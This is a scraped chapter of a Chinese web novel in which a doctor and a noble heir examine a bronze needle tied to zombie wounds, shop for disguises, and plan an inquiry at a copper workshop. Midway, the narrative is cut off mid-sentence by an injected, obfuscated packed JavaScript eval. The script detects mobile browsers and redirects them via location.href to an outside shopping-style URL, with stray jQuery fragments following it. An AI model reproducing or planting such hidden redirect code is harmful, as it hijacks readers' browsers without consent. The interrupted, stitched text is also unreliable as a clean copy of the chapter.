默认冷灰
24号文字
方正启体

20. 第 20 章

作者:喻香本书字数:K更新时间:
    此时天已经黑透了。


    众人只听见声音,却没见着东西,急得满地乱找。


    最后还是齐香眼尖手快从篝火的阴影里拈出来一根,颠颠跑过来,“姐,你来看,这有点像我们针灸用的长针!”


    裴仪拿帕子包着接过来,见是二十厘米左右的一根中空细管,外径三毫米上下,倒是与丧尸脑干的伤口符合。


    “哟,青铜的,”傅瞻凑过来主动承认了认识材料的事实,拿在手里轻轻一掰,“又硬又韧却是难得。这锻造,这打磨,够精细。”


    裴仪点点头,指着针上一处凸点,“还有焊接,前边半寸针尖子是实心的,用来‘刺穿’,后面大部分是空心的,用来‘输送’,当真是好手艺。”


    “这般质地和手艺,寻常铺子里的金银匠怕是不够的。”松语低声开了句玩笑。


    傅瞻没接茬,只笑着点了点头,心中却另有盘算。


    第二日,众人怕胡万里那处还有什么线索,索性将他家中的书册全装了车,但凡有字儿的一件没落下。


    松语这几日学了些赶车的技巧,说自己只认得字,读文章却不太通,便趁着道路平顺,将段敏行替换了下来。一时之间,车厢里裴仪、傅瞻、齐香、段言之,四个人挨挨挤挤,连抬头的时间都没有。


    诸人心里挂念着集贤村的异象,勉力头晕脑胀地读了一天,并无什么进展。天将暗时宿在了鹿鸣镇,算是出了京城往南一个比较大的城镇了,当然也是重要的消息集散点。


    翌日,傅瞻起了大早,将众人迷迷糊糊拉起来,只说要在集市上逛一逛,买些衣服。


    众人的衣物在逮捕和搬运老丧尸时折损了大半,仅存的一点儿也用来打包胡万里的书简,天气更变也没个增减替换。


    是以听说世子殿下愿意去成衣铺兜底结账,个个欢欣鼓舞,齐香一口一个“哥哥”叫得甚甜。


    “去去,谁是你哥哥,”傅瞻装模作样地赶赶苍蝇,“自己去那边挑喜欢的,厚的薄的都拿几件,过了这村没这店了。”


    他赶走了齐香,自己却嗡嗡地跟在裴仪身边,“大夫你可多拿几件,莫要替我俭省……这件豆青的好看,衬得你书卷气……杏花粉的也不错,不喜欢吗?换个雪青的?报春红的也好……”


    裴仪无奈地看着过分热情的世子殿下:“序章,我是个大夫,一切应以方便利落为先。


    你刚才指点的几件,都喜欢,只是长衣广袖的,并不适合。”


    傅瞻听得她一句喜欢,忙唤店家结账,唯恐三两刻之后裴仪便不喜欢了,嘴里还不得闲道:“阿裴喜欢,便是这件衣服的福气。


    我知你是顶顶厉害的大夫,天地生民都放在心上,可也总不能时时刻刻都是大夫,你也得是你自己。”他见左右无人,悄悄凑近她:“大夫现在是我傅瞻的‘表妹’,总得是大家小姐的打扮,可不能露馅儿了。”


    裴仪听见这话,也只得由他去了。


    过了两顿饭的功夫,几人陆续选好了。


    裴仪见傅瞻一直陪在自己身边,甄选参详,插科打诨,自己没来得及选上一件,心下不忍,便往男装处走了走,回头示意他跟上。


    “呀呀呀,”傅瞻跟在后面一拍脑门儿,故作捶胸顿足,“本世子平日里穿什么都是小厮选,我哪里懂什么合适不合适、好看不好看的。”


    裴仪心知他又演上了,联系刚才说的话,指不定周遭有什么眼线跟着,便只能按着性子道:“烟黑的老成持重;水蓝的年少俊朗;松绿的端庄大气;月白的温润舒朗;绛纱的蕴藉风流,这几件都适合世子。”


    “可我私心里喜欢这件玄青鹤氅,恰与阿裴方才那件雪青的褙子相配。”


    裴仪面上一红,轻声啐他:“你与我相配做什么,我是你表妹,世子可快闭嘴吧。”


    过了晌午,傅瞻又拉裴仪出门,直奔首饰铺子,还是早晨那一套说辞。


    “哎,行了行了,”裴仪被老板娘摁在妆镜前试了大半盏茶的功夫,金的、玉的、翠的扯得她头皮疼。


    傅瞻半笑不笑地倚在一边,支着下巴,“我这表妹自小在山里养身体,花呀朵呀的都没戴过。烦请老板娘多与她试一试。


    刚才那一只赤金累丝的偏凤很是好看,等会儿装上。”


    老板娘便眉开眼笑地应了。


    又试了一炷香的时间,傅瞻又让装了一只点翠的华盛,一支金镶玉的步摇,一串嵌八宝的璎珞。


    裴仪见他流水般地花费,心下忐忑。


    傅瞻见状支走了老板娘,“阿裴莫要不安。


    我知你不愿亏欠别人,这些金的、玉的都算我暂借给你充门面的,好不好?


    只这银的,不值什么,”他抬手取了一支镶着缠丝玛瑙的银单簪替她戴上,“大夫就收下吧,权当我感激你一路劳神的心意。”


    话毕,又从怀里摸出一只和田山料的双鱼佩,让老板娘配两根绦子,不经意道:“仔细着,这还是姨母与家母总角之年佩戴的东西,如今又传到我们表兄妹手上。”


    老板娘得了赏钱,眉开眼笑道:“两位老姐姐得了这样一双好儿女,当真是好福气。”


    至无人处,傅瞻掰了半只双鱼佩塞进她手里,“日后若有人问起,便说你我凭亡母的信物相认。


    阿裴,可得收好了。”


    裴仪一愣,转瞬明白过来,点头应道:“‘鱼书欲寄何由达?水远山长处处同’。


    人生因缘际会,聚散无常,想来这双鱼佩,便是姨母与家母‘君嫁潇湘我嫁秦’的悲叹吧。”


    傅瞻见她将半只双鱼佩收进怀里、转身往客栈走去,不由紧了紧手中的另半只,在她身后喃喃道:“处处同……”


    回到驿站。裴仪便与众人讲了自己现在原则上姓孟,以及傅瞻是表哥的事情。


    具体缘故牵涉甚多,也没细说,只是捡能说的说了。又说大家日后还是唤一声“大夫”,这点无须隐藏。


    齐香老大不服气,恨恨地瞪了傅瞻一眼。


    松语倒是掩嘴笑,悄悄拉住裴仪,附耳道:“有了这一层身份,大夫在世子身边行走,倒是方便许多。”


    段敏行也跟着笑。


    傅瞻拍了拍他的肩膀,玩笑道:“言之兄弟,你那时候说要追随大夫。


    如今知道我也是大夫的兄长了,你随不随我走?”


    段敏行闹了个大红脸,终是缓缓点了点头。


    众人笑闹了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093228|195528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一阵,到了晚间,傅瞻又来找裴仪一同研究从胡万里家中发现的线索。


    先看那根铜长针。


    以现代的加工精度,完全不是问题,裴仪心想,就是不知这个时代如何了。


    傅瞻对兵器算是有些粗浅的了解,但于铜器加工冶炼一途,也并没有什么概念。


    松语、齐香和段言之就更不用说了,日常连见也很少见到。


    只是这东西精细中透出些诡异,又与丧尸后脑的创口相符。现在胡万里家被翻了的事情不知能隐藏多久(甚至已经暴露了),是万万不能顶风明晃晃拿出去查问的。


    裴仪看着针上幽幽的一点绿光,叹了口气。


    松语想了想,斟酌道:“今日在街上逛。发现铜作坊里是有成品摆样的。


    可否先看样品,找个大差不差的,也好继续打听。”


    “松松姐,我看这法子不大行。”齐香眼珠子转了转,“你瞧我们今天买衣服,一进门老板就问‘您几位要买什么?’,姐你当时说:‘要男女各色出行衣裳,夏秋冬三季都要’。


    等我们一大群人进了铜作坊,老板一问,总不能说‘不知道要买什么,先看看’,然后一个个眼睛瞪得乌鸡似的,转盯着精细的看,岂不惹人疑心!”


    众人都被她逗笑,傅瞻连声道:“本世子出行,哪能跟小女儿家似东看西摸的,儿戏,儿戏!”


    裴仪笑着叹了口气,想来齐香出了神农谷没过上什么宽裕日子,才会买一回衣裳都记得清清楚楚吧。


    松语自己也捂着肚子,指着齐香笑个不住。


    笑了半晌,一直沉默的段言之开了口:“世子出行……恐是不能如此儿戏;但是魇住了的小表妹……却可以。”


    齐香往段敏行肋上轻轻一杵,闹道:“好啊,段大哥,你家世子出行须得威风八面,我家姐姐就得装疯卖傻是吧?什么馊主意!”


    段言之现在不磕巴的话只能有一句,到第二句便吞吐起来,只得望着裴仪连连作揖。


    裴仪眼珠子一转,心想这倒未尝不是一个好点子,毕竟静不露机,云雷屯也。


    倘若能通过装疯卖傻办成一件事,只能说明不是真疯真傻,她也并不介意放飞自我一回。


    到了第二日清晨,齐香早已兴高采烈扮作丫鬟,段敏行扮作沉默寡言的小厮,松语扮作嬷嬷。


    裴仪昨夜故意继续琢磨了许久,睡得迟,此时一双眼睛通红得像兔子,整个人也因熬夜而木楞楞的。加上晨起赖床、没来得及吃饭,低血糖低血压一并发起,整个人憔悴得像胡万里家的菊花。


    却是一朵簪金戴银、罗绮满身的富养菊花。


    “哟,装得还挺像。”傅瞻从没见过她这般颓唐情态,忍不住凑上来罗唣,“七分真三分假,最是叫人分辨不出。


    阿裴,看来你是懂行的呀。”


    裴仪定定地瞪他一眼,尔后倏地垂下眼帘,嘴角一抿,竟掩面抽噎起来。


    齐香赶忙拿帕子替她擦眼泪,傅瞻手脚一慌,恨不得抽自己两个耳光。


    只有松语站在裴仪身后,悄悄向傅瞻打了个“走”的手势。


    傅瞻会意,定了定心神,立刻领着一行人浩浩荡荡开赴铜作坊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)